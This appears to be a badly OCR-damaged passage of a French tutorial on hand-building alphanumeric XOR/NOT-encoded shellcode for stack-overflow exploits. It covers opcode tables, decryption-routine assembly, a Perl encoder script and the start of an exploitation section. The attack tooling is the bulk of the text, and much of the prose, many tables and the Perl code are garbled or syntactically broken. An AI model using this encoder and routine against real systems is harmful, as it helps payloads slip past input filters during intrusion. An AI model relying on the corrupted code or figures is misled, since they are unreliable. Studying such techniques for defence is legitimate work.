disp32[EAX] 10 000 80 88 90 98 A0 A8 BO B8
disp32[ECX] 001 81 89 91 99 Al Ag B1 B9
disp32[EDX] 010 82 8A 92 9A A2 AA B2 BA
disp32[EBX] 011 83 8B 93 9B A3 AB B3 BB
disp32[--][-] 100 84 8C 94 9c Ad AC B4 BC
disp32[EBP] 101 85 8D 95 9D A5 AD B5 BD
disp32[ESI] 110 86 8E 96 9E AB AE B6 BE
disp32[EDI] m 87 aF a7 9F AT AF B7 BF
EAXIAX/AL/MMO/XMMO " 000 Cco C8 DO Da EO E8 FO F&
ECX/CX/ICL/MM1/XMM1 001 C1 c9 D1 Da E1 E9 F1 Fa
EDX/DX/IDL/MM2XMM2 010 c2 CA D2 DA E2 EA F2 FA
EBX/BX/BLIMM3/XMM3 011 C3 CB D3 DB E3 EB F3 FB
ESP/SP/AHIMM4/XMM4 100 C4 cc D4 DC E4 EC F4 FC
EBP/BP/CH/MMS/XMMS 101 C5 CcD D5 DD ES ED F5 FD
ESI/SI/DH/MME/XMMEG 110 CH CE D6 DE E6 EE F6 FE
EDI/DIBHMM7IXMMT m Cc7 CF D7 DF E7 EF F7 FF
NOTES:
1. The [--][--] nomenclature means a SIB follows the ModR/M byte.

2. The disp32 nomenclature denotes a 32-bit displacement following the SIB byte, to be added to the index.

3. The disp8 nomenclature denotes an 8-bit displacement following the SIB byte, to be sign-extended and
added to the index.
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4221L 6al gorithme doébencodage

Comme ditprécédemmet , | 6encodage se basera enti r
est impératif que la clé XOR soit sikans notre jeu de caracteres alphanumésjqnas
également les octets dhellcodeencodé. Toutefois, en faisant quelques testda portée des
valeurspue | 6on peut obtenir en effectuant un OL
intervalleé

Entier a décoder 0x30

0x30 = 00110000b

0x30 ~ 0x30 = 0x00 // valeur minimale pouvant étre obtenue
0x30 " Ox4F = Ox7F // valeur maximale pouvant étre obtenue

Entier a décoder Ox61
0x61 = 01100001b
0x61 ~ Ox1E = Ox7F // valeur maximale pouvant étre obtenue

Onremargg que nous noarriverons pshalcodesid®code
ceuxci ont des valeurs supérieasra 0x7F Cela vient du fait que letdie plus fort positionné
6 1 6 “"&ans le dode d&toutes les valeurs alphanumériques

0x30 = 0x00110000b
0x61 = 0x01100001b
Ox7A = 0x01111010b

Afin débobtenir des valeurs jusqub6é”™ OxFF,
avant de le décrypter par XQR

10x30 = OXCF
OXCF " 0x30 = OxFF
5 Q 210309~ 0x30 = OXFF
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Toutef ois | OilearBl®@Trnuec tpieount agosasse nibt re uti |l i s ®e

pas cod® en une valeur alphanum®ri que. Revoy
XOR:

0or0=0

17r0=1

o~r1=1

171=0

Donc: a”™ 1 3a

Nous pouvons donc simuler notre instructd@T par une instructiolXOR Par
exemple, si un opceda pour valeur OXFA, nous pouvons le coder en 0x35 par
| 6op®rxHFAN O0x30 = 0x35. LO6JxXxIB®DNxBO @Ox35de d®c
a pour équivalent 0x35 ~ OxFF, donc les instructions assembleur de notre routine de
décryptage effectuerorilo p ®r at i on 0 x ubnous refdradire dpcodexerd 0
clair : OxFA.

Toutefois il ne sera pas n®ceshaleoder e dbéenc
initial. En eff et ededécadage, dfauarh én@®deeles opcodesree r o u t

fonction de leur valeur

x Les opcodes dont la valeur est située dans notre intervalle alphanumérique ne seront
pas encodés

x Les opcodes correspondant aux valeuspposées a celles de notre intervalle (par
exemple OxCF #0x30) seront encoder avec un pim XOR de OxFF
Certains opcodes seront encodés par XOR avec une clé alphanumérique
Les opcodes restant devront étre cryptés par deux, ¥QiRemier avec OxFF et le
second avec la clé

Le tableau suivant représente quel encodage doit étre appliqué gue detetfin
déoptimi ser au maxi mum notre c ogédnéeroassless e mbl eur
shellcode alphanumériguwavec un script, cette table nous aidera lors de la construction
manuelle de la routine de décryptage.
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o0 s o | ] o Bl =
00 o9 119 9 9]lm | 39
00 s 1 A 2 AT
o0 a8 11 e | 1 alllnallle
o0 o 4 e o4 o |13 ] ]ac
05 b 15 i s b3 ]]80
06 | OFE | 16 | 1E | 26 | 9k |||36 ||| 3E
07 o v e oo of ||l
a0 I28 [ 50 | 58 |Uleolll 68 | 70 | 78
41 49 5 | 58 1 68 | 7
2 44 5 | 5B A DI
43 | 4B | 53[IT5B7(163 | 6B | 713[[I7B
44 | ac | salllec||lma | 6 | 7a]||iC
45 | 4D | 55]|lsD||le5 | 6D | 75]|| D
46 | 4 | 56 ||| 5E|||66 | 6E | 76| ||7E
47 | 4F | s7 ||| 58 ||Lez | eF | 77]l||7E
80 ||[88 | 90 | 98 ||[AD]|| A8 | BO | BB
81180 | 91 | g9 ||lA1]||A9 | B1 | Bo
82 ||18a | 92 | oA ||| A2|||AA | B2 | BA
83|/ |88 | 93 | 9B |||A3|||AB | B3 | BB
galllsc | 94 | oc [|[ladlllACc | B4 | BC
g5 1 a0 | & 9 @ A5 A | BB BD
86 | 8E | 96 | OF | A6 | AE | B6 | BE
g7 | sF | 97 [[[oF ][l A7 | AF | B7[|[BF
coll[ce]|[po | ps | E0 | E8 | FO | k8
ctl|/|colllpy | D9 | E1 | E9 | F1 | F8
colllcalllpz | DA | E2 | EA | E2 | EA
cslllcB||lp3s | DB | E3 | EB | F3 | B
cdlllccipa b | B4 | EC | B4 | FC
cslllco||{ps | oD | E5 | ED | F5 | FD
C6 | CE|||D6 | DE | E6 | EE | F6 | FE
Cz | cr||llpr | DE | E7 | EF | E7 | EF
Aucun encodage XOR
NOT NOT 4+ XOR
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423.Substitution doéinstructions

A présent que nous connaissons toutes les instructions possibles dans notre routine de
décryptage, il nous faut songer a certains points essentiels n e f f e MOMn&iersst r u ct
pas disponible, et ceci va nous posendmbreux ennuis.

Pour décrypter notrehellcodeil nous faut pouvoir charger dans un registre un ou
plusieurs octets de la mémoire, comment réaliser cette opératiokl@a3 Comment
effectuerl 6 op®r ati on inverse af i?uedneorerdequpleacer no
maniére effectueronsous IeNOT (XORavec OxFFalors que la valeur OxFF ne se situe pas
dans notre jeu de caractefes

Nouspouvons palietousces problémes en substitud®V, NOT, pgar dbéautres
instructions qui produiront unetéan équivalente, bien que rallongeant nainellcodget
donc © wutiliser avec mod®ration ¢€&).

Tout dbéabor d, shaloodeil mhsudaut metre arzérd les eegistres que
nous allons utiliser. Rappelomso us que | 6 uKORy32eanmB2disponibleest i o n
celle utilisant EAX en registre de destinat:i
EAX, effectuer un OU exclusif dessus puis déplacer cette valeur dans les autres registres. Ce
qui se traduit par

mov eax, 0x30303030
Xxor eax, 0x30303030
mov ebx, eax

mov ecx, eax

X

Notre premieMOV peut étresubstitué par une combinaisondSH / POP.

mov eax, 0x30303036
push 0x30303030
pop eax

Toutefois, nous ne pouvons pas adopter cette méthode pour déplacer la valeur nulle de
EAX aux autres registres. Ef fecti veRWSH t , i |
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peut étre utilisée avecdmporte quel registre 32 bits (donc EAX)aisc e ndest pas | e
pour | 6 iPORquineueut permet de dépiler seulement dans EAX, ECX ou EDX.

L6i ns tPOBADtésoot justementce probleme el | e sdéutilise en
PUSHAD toutefois nas allons effectuer une série BgSH reg32ouisPOPADafin de
remplacer les instructiofdOV. Rappet POPADd ®pi | e dans | 6 ®BRJr e EDI
EBX, EDX, ECX et EAX.

mov ebx, eax =

push eax

push ecx

push edx

push eax ; on substitue ebx par eax
push ebp

push esi

push edi

popad

A pr®sent que n
®gal ement 1int®ress
registre. Pour cel
val eur null e. Si I
| 6on peut wutiliser

us p o M@\Wreg82, reg3dihsetaie r noi mpo
nt de savoir comment <char
, nous utilisons | 6instru
on se r ®f(page&0), aruconstatedbques a u t

L o O

(@)}

x DH, SletESlenregistreré avec noéi mpaog®e®gakl eteddsnd:
EAX, ECX, EDX, EBX, ESl et EDI «r/m »
x  BH, DI et EDI en registre k» avec soit EAX, soit ECX en registra/m »

Afin déobteniunpact exesnptl e® ~ | dadr,elsse m®n
peut donc écrire le code assembleur suivant

mov dh, [edi] =

push 0x30303030

pop eax

xor eax, 0x30303030 ; eax = null
push eax

pop edx ; edx = null
xor dh, [esi]
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Pour r ®ali ser | Gadipe®magger une valeur a wnemptaeementc 6 e s t
pr®cis de | a m®maoi rle,s iolp ® wfnfdiets ddi XVORr pr ®c €
les octets a cette adresse sont ont la valeur 0x00. Cette opération ne nous intéresse pas
toutefois cette méme instruction nous permet de décrypter les opcodes dhelttoele
pui squébéi mensoah m@mbere (dans ce cas | es oct
pas une valeur nulle).

Cependant ESP ne peut étre pris comme registre de destination (ce qui nous aurait
fortement arrangés, étant donné qushlelicodecrypté se situe sur la pile).fhudra donc
transf ®rer ESP dans uwehdéaémenterscéhai @avecgl®sni®elal ou d
valeur duStack PointerMai s | ai ssons ce probl me de c!t®
dans la section suivante

La derni r e dbtefiruniqguemént des irstvuetians alptha@hwmériques est
de substituel 6 o p ®NOA.t idbonus avons vu pr ®c®demment qud
XORavec OxFF. La valeur OxFF soO0obtient =~ part
d®cr ®ment atuctomDECeOsrt, dids pmoesntirb | e . Il faut donc

registree f f ect uer une d®cr ®mentation dbéun regi st
OxFFFFFFFF a plusieurs registres (ceux dont nous allons nous servir pladif)le

4.2.4.Structure du shellcode

Tout dbéabord, r evoy telesuepoosaviansipournotren e st r uc
shellcode polymorphiqueontalphanumérique est totalement impossible

_Start:
jmp short data

decrypt: ; routine de décryptage
pop reg_offset
WX 6 ; remise a zero des registres

mov reg_key, Oxxx ; registrecontenant la clé delécyptage
mov reg_length, Oxea; registre contenant la longueur du shellcode
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boucle: ; boude de décryptage
mov reg_acc, [reg_offset]

XOr reg_acc, reg_key

mov [reg_offset], reg_acc

inc reg_offset T 2y LIaasS t Q20080 adAo
inc reg_key ; incrémentation de la clé

dec reg_length

jnz boucle

jmp shortshellcode

data:

call decrypt

shellcode

db Ox.. ; shellcode crypté

Le premierdMP pourrait ne pas étre valide dans certaingtad dob6abord | 6opc
| 6i ns tIMPndteisdn pas dans notre jeu de caract r e
ysontii |l s néont pas ®t ® menti onn® pr ®on®de mment

pourrait donc simuler un saut inconditionnel adeax sauts conditionnels opposés avec par

exemple les instructionk¥D offset JNO offs€l, mais surtout car on ne pourrait pas spécifier

no6i mpo offtseté qliell a routine de d®cryptage exc d
doeffectuer ce saut.

Pui sstructiodMOMn 6 est pas di & XORde kediste aadgiptrei qu e
cependant ces actions sont ecequenoaiavansvelesf oi s s
précédemmetih

Ce qui rend cette structure de décryptage inutilisable daitlque notre décodage,

dans | eshdl@de alghanumérique ndest ;paesn leifnf@ati rneous noda
comme ici une simple fonctiokOR avec incrémentation de clé, mais une méthode de

décryptage différent pour chaque octestielicodec o mme nous | 6avons sp®c
préecédemmenD 6 o ¥hpol sésii b i | i un@lgatitbnaedtéragtift e r

Notreshellcodese décomposedoncen plusieurs parties

Initialisation des registres
Routine de décryptage
Padding(bourrage
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Initialisation des registres
Afin de décrypter notrshellcodenous aurons besoin de plusieurs registres

x Un registre général suivant» le registre ESP avé&2EC (car ESP ne peut étre utilisée
en tant que registre mémoire avec notrarsej ; nous prendronsECEn ef f et c o6 e
leregi stre | e plus adapt ® ®&ORsutlecxJavecn® que
les registres BH, DH, ESI, EDI.

x Un registre 8 bits initiaNOTss®&uioct&robesF af i n
choisirons BH.

x Un registre 32 initialisé a OXFIAFFFF pour réaliser IROT sur 2 ou 4 octetsnous
opterons pour ESI.

x Un registre accessible en 32/16/8 bits qui contiendra la clé de décryptage XOR. Celui
ci devra étre €compatiblee av e c | BOPssittEAX) EGXiowHDX) ainsi
g u 0 aX®RkRem 8bits (BH ou DH). Nous utiliserons donc EDX.

Il faut également décrémenter de 4 octets ESP afiNatee initialisation de registres
correspondra donc a la portion de code suivant

dec esp

dec esp

dec esp

dec esp

push dword 0x30303030

pop eax

xor eax, 0x30303030eax = 0

dec eax ; eax = FFFFFFFF
push esp

pop ecx ; eCX = esp

push eax

push ecx

push edx

push ex bh =FF

push esp

push ebp

push eax : esi = FFFFFFFF
push edi

popad

dec ecx
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Routine de décryptage

Le décryptage dehellcodese ferade maniére linéaire selon un algorithme tres
basique

x xor[ecx],bhsi | 6octet a ®t ® encod® par NOT (ou
x push word [cle_xor} pop dx; xor [ecx], dhs i | 6octet a ® ® encod®@®
x dececpour faire pointer ECX sur | 6octet sui
x pushavord [valeur]t ous | es 4 octets afin skeicedmpi | er
a traiter. Effectivement, on ne peut pashertout leshellcodecrypté avant la routine
de d®cryptage, car on | 6®cr apushweordt par | a
[valeur] ; pop dxpourfaire le XOR
Un traitement suivant la méthodedg@ssus marcherait parfaitement, toutefois on se
rend compte quobil est possible déoptimiser (

x Ne pas effectugoush word [cle_xor] pop dx si la clé XOR est identige sur
plusieurs octets
x Si plus déun octet doit °tre crypt® par N

xor [ecx], bh
dec ecx
xor [ecx], bh
dec ecx
xor [ecx], bh
dec ecx
xor [ecx],bh

Mai s plut?®*t tr ai t;enreffelildaat selrappetet gpensusdvéns n c o u
initialis® ESI “ 0x Fliséskns préblemescomme opérantde p e u t
avec unxor [ecx], reg32

dec ecx
dec ecx
dec ecx
xor [ecx], esi
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On pourrait également penser comme optimisation a effectuer un XOR sur plusieurs
octets 7 la suite 1 06ri srtieecx, ediest enoorerdi®orabies ai r e
Toutefois, catrairement a ESI qui aura une valeur statigeBl devra contenir la clé XOR
qgui ndbest pas |l a m°me (du moins rarement) pe
impossible de réaliser yop edi; il faudrait donc pour placer la valeur de la cl®X dans
EDI cette suite doéoinstructions

push eax
push ecx
push edx
push elx

push esp
push ebp
push esi

push [cle_xor]
popad

Seraitce une optimisatio Dans la grande majorité des cas, non.

Bourrage

Dans certains cas oudéellcodd i n a | (en clair) est dobéune t
nécessaire derettoyere | 0 e slgpédecertre l@skellcodedécrypté et la routine de
d®cryptage. On remar gue ¢u @ushHatasuwte commeldane n e f f

I 6initial i s a tpustdedwatdds suite,esgjti3z dctetdes octétsde la pile a cet
endroit gaderont des valeurs qui ne correspondent pas a des instructions assemblesr valide

32 octets
T " Shellcod
‘ :valeurs: dzr::t; Adresse
NOPs Routine de décryptage | “aléa- | (taille < de
| toires” | 32octets) retour
1 1

()

EIP ESP
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32 octets

I T
{Instructions ; Shellcode

I “neutres” | dérypté Ad;esse
I aushell- 1 (taille < €

: code :329ctets] retour

)

EIP
ESP

NOPs Routine de décryptage

Ainsi, dans le cas dghellcodale taille de moins d&2 octets, il faut initialiser ces
octets a une valeur correspondant a unteuaton, comme par exemple Ox@¢ihc edi). A la

suite de notre routine de décryptage, nous devrons faire suivre un code assembleur du type

push dword 0x47474747
push dword 0x47474747
X

Il faut ®gal ement notghealcodeu 6s"i |l ad of moréd
sur | a pil e c o pusteword gla_sor} lpap dxxardecxdl, dhul fiaut aussi
nettoyer la pile avec une instructipash word 0x4747

4.2.5 Mise en application

La cr ®a shelloode apanumeériquemanuellemens est rapidement tres
fastidieuse et les risques de se tromper augmentesidénablement avec la longueur du
shellcodenitial. Il est dans ce cas quashligatoire de coder une application réalisant
| 6al gor i t h mde propsellestriptéerisuivant pour cette tache.
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#!/usr/bin/perl

use strict;
use warnings;

# Tableau contenant les valeurs autorisées des opcodes
my @alphanum = (

'0'..'9,

'a'..'z,

‘ALz
);

# Récupération du shellcode
open my $shellcode, "<", "shellcode"
or die "Can't open 'shellcode": $!";
my $opcode = reverse <$shellcode>;
close $shellcode
or die "Can't close 'shellcode': $!";

# Ouverture du fichier de stie
open my $alphanum_shellcode, ">", "alphanum.asm"”
or die "Can't open 'alphanum.asm': $!";

my @opcodes = split ", $opcode ;
my @result = qw();

# Boucle remplissant un hash par byte du shellcode de la forme :
# %hash = ( "method", "opcode", "keytesult")
# exemple: "not_xor", 0xDO , 0x41, Ox6E
# (IDO) ~ 41 = 6E
for $opcode (@opcodes) {

my $flag_result = 0;

my $flag_end = 0;

my $key = 0;

while (I$flag_result) {
if ($key == $#alphanum) {
$key = 0;
$flag_end = 1;
}
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my $key_ascii = $alphanum[$key++];
my $not = ~$opcode;

my $xor = $opcode " $key_ascii;

my $not_xor = ~$opcode " $key_ascii;

for my $alphanum (@alphanum) {
if (Jopcode eq &lphanum) {
$flag_result = 1;
push(@result, {
"method" =>"",
"opcode” => $opcode,
"key" =>"0",
"result” => $opcode
}
);
}
elsif ($not eq $alphanum) {
$flag_result = 1;
push(@result, {
"method" => "not",
"opcode" => $opcode,
"key" =>"0",
"result" => $not
}
);
}
elsif ($xor eq $alphanum) {
$flag_result = 1;
push(@result, {
"method" => "xor",
"opcode" => $opcode,
"key" => $key_ascii,
"result" => $xor
}
);
}
elsif ($not_xor eq $alphanum && $flag_erdd)
$flag_result = 1;
push(@result, {
"method" => "not_xor",
"opcode" => $opcode,
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"key" => $key_ascii,
"result" => $not_xor
}
);
}
last if ($flag_result);
}
}
}

# Entéte statique du shellcode
print $alphanum_shellcode <<'END";
BITS 32

global _start

segment .text

_start:

dec esp

dec esp

dec esp

dec esp

push dwad 0x30303030
pop eax

xor eax, 0x30303030
dec eax

push esp

pop ecx

push eax

push ecx

push edx

push eax

push esp

push ebp

push eax

push edi

popad

END

# Valeur courante de EDX
my $edx = qf};

my $bytes_not_flag = undef;
my $bytes _not = undef;
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# Traitementdes octets grace au hash %result
for (my $index = 0; $index <= $#result; Sindex++) {
print $alphanum_shellcode "dec aeX;

# A chague fois que 4 octets sont traités, on push les 4 suivants (ou la fin du shellcode)
if ($index % 4 == 0) {
if ($index+3<=$#result) {
print $alphanum_shellcode "push dword 0x".unpack("H*", $result[$index]
>{"result"}.$result[$index + {"result"}.$result[$index + 23{"result"}.$result[$index + 3]
>{"result"}).\n";
}
elsif ($index+2<=$#result) {
print $alphanum_shellcode "push dword 0x".unpack("H*", $result[$index]
>{"result"}.$result[$index + F{"result"}.$result[$index + 2*{"result"})."90n";
}
elsif ($index+1<=$#result) {
print $alplanum_shellcode "push word 0x".unpack("H*", $result[$index]
>{"result"}.$result[$index + {"result"}).\n";
}
else {
print $alphanum_shellcode "push word 0x".unpack("H*", $result[$index]
>{"result"})."90n";
}
}

# Traitement par NOT : 1 a 4 octets maximum
# On compte les octets sur lesquels il faut faire un NOT
if ('defined $bytes_not_flag) {
if ($result[$index}>{"method"} eq "not" || $result[$index}>{"method"} eq "not_xor") {
$bytes_not = 1;

while ($result[$index + $bytes_neff{"method"} eq "not"
[| $result[$index + $bytes_not{"method"} eq "not_xor"
&& $bytes not< 4
&& $index + $bytes_not <= $#result) {
$bytes_not++;

}

$bytes_not_flag = $bytes_not;
}
}
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if (defined $bytes_not_flag) {
$bytes_not_flag;
if ($bytes_not_flag == 2 && $bytes_not == 3) {
print $alphanum_shellcode "xor [eghn";
}
elsif ($bytes_not_flag == 0) {
print $alphanum_shellcode "xor [ecx], bl if($bytes not == 1);
print $alphanum_shellcode "xor [ecx]\i$1 if($bytes_not == 2 || $bytes_not == 3);
print $alphanum_shellcode "xor [ecx], &al' if($bytes not == 4);
undef $bytes not_flag;
}
}

# Traitement par XOR : octet par octet
if ($result[$index]>{"method"} eq "xor" || $result[Sindexj>{"method"} eq "not_xor") {
my $curent_key = unpack "H*", $result[$index]"key"}x2;

if ($edx ne $current_key) {

$edx = $current_key;

print $alphanum_shellcode "push word 0x".$edxgop dXxn";
}

print $alphanum_shellcode "xor [ecx], \dti;
}
}

# Bourrage
print $alphanum_shellcode "push word 0x4848

for (my $index = $#opcodes; $index < (8*4); $index += 4) {
print $alphanum_shellcode "push dword 0x48484843
}

close $alphanum_shellcode
or die "Can't close 'alphanum.asrs!’;
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4.2.6. Exploitation

Notreexploitsera Iégerement différent étant donné que la structupeydoadne sera

pas | a m° me
dedéc ypt age

shellcodex décrypté». Ainsi le nombre d&lOPsd a n s

et

que
I

| or s
6adresse

ddune

e NPPsentret laardutine n
de retour, ®t ant
cette zone ser a

gue fait notreshellcodetoutefois il faudra insérer un nombre minimde 32NOPs(pour les
raisons bourrage expliquées précédemment).

Voi ci

| 6 e x pl oshellcadesheti mootasme c

notre

BITS 32
global _start
segment .text
_start:

dec esp

dec esp

dec esp

dec esp

pop eax

dec ex
push esp
pop ecx
push eax
push ecx
push edx
push eax
push esp
push ebp
push eax
push edi
popad
dec ecx

xor [ecx], bh
push word 0x3030

xor eax, 0x30303030

push dword 0x30303030

push dword 0x4f324531

deimos@I133tbOx:~/stackoverflow/shell_root $ perl alphagen.pl
deimos@I133thOx:~/stackoverflow/shell_root $ cat perl.asm
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